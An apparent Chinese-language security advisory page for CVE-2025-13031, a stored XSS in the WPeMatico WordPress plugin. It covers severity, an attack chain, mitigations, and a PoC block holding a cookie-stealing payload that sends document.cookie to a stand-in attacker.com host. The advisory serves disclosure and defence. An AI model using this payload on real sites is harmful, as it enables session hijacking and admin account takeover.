IPBUF安全漏洞报告
English
CVE-2025-13031 CVSS 5.9 中危

CVE-2025-13031 WPeMatico插件存储型XSS漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-13031
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
WPeMatico RSS Feed Fetcher WordPress Plugin

相关标签

CVE-2025-13031Stored XSSWPeMaticoWordPress PluginCross-Site ScriptingMedium SeverityInput SanitizationWordPress Security

漏洞概述

CVE-2025-13031是WordPress插件WPeMatico RSS Feed Fetcher中的一个存储型跨站脚本(Stored XSS)漏洞。该插件用于从RSS源获取并发布内容,在2.8.13之前的版本中,插件未能对部分设置参数进行充分的输入清理和输出转义。攻击者可以利用此漏洞在WordPress网站的数据库中存储恶意JavaScript代码。当其他用户(如管理员)访问受影响的页面时,存储的恶意脚本将执行,可能导致会话劫持、凭据窃取、恶意内容注入等危害。由于漏洞需要高权限用户(如贡献者角色)才能触发,攻击面相对有限,但仍对网站安全性构成威胁。CVSS 3.1评分5.9,属于中危级别,攻击向量为网络,认证要求为高权限,用户交互为需要交互(管理员访问后台)。

技术细节

WPeMatico插件在处理RSS FeedFetcher设置时存在输入验证不足的问题。漏洞主要出现在插件的设置页面,攻击者(具有贡献者或更高权限)可以在特定配置字段中注入恶意JavaScript代码。插件在保存设置时未对这些输入进行sanitize和escape处理,导致恶意代码被直接存储到数据库中。当管理员或其他用户访问插件设置页面或相关前端页面时,浏览器会解析并执行存储的XSS payload。攻击者可利用此漏洞窃取管理员会话cookie、修改网站内容、植入后门或进行进一步权限提升。由于是存储型XSS,恶意脚本会在每次页面加载时自动执行,攻击效果持久。漏洞影响所有使用该插件且版本低于2.8.13的WordPress网站。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用的WPeMatico插件版本,确认版本低于2.8.13
STEP 2
权限获取
攻击者获取WordPress网站的贡献者或更高权限账户
STEP 3
漏洞注入
攻击者在WPeMatico插件的设置字段中注入恶意JavaScript代码,保存设置后payload存储到数据库
STEP 4
触发执行
管理员或高权限用户访问插件相关页面时,存储的XSS payload被浏览器解析执行
STEP 5
会话劫持
恶意脚本窃取管理员cookie并发送到攻击者控制的服务器
STEP 6
权限提升
攻击者利用窃取的会话进行进一步操作,可能创建新管理员账户或植入后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-13031 WPeMatico Stored XSS PoC // This PoC demonstrates the stored XSS vulnerability in WPeMatico plugin < 2.8.13 // Requires contributor+ privileges // Attacker injects the following payload in plugin settings fields: // <script>alert(document.cookie)</script> // or more sophisticated payload for session hijacking: var poc_payload = ` <img src=x onerror=" fetch('https://attacker.com/steal?c='+btoa(document.cookie)) "> `; // The payload is stored in database without sanitization // When admin visits the affected page, the script executes // Example exploitation steps: // 1. Login as contributor user // 2. Navigate to WPeMatico settings // 3. Inject XSS payload in settings fields (e.g., campaign title, feed URL) // 4. Save the settings - payload gets stored // 5. Wait for admin to view the settings page // 6. Attacker receives admin cookies via webhook

影响范围

WPeMatico RSS Feed Fetcher < 2.8.13

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 禁用或删除WPeMatico插件;2) 限制用户角色权限,禁止贡献者和作者修改插件设置;3) 使用Web应用防火墙(WAF)过滤恶意请求;4) 加强WordPress网站的访问控制,确保只有可信用户拥有高权限账户。建议尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表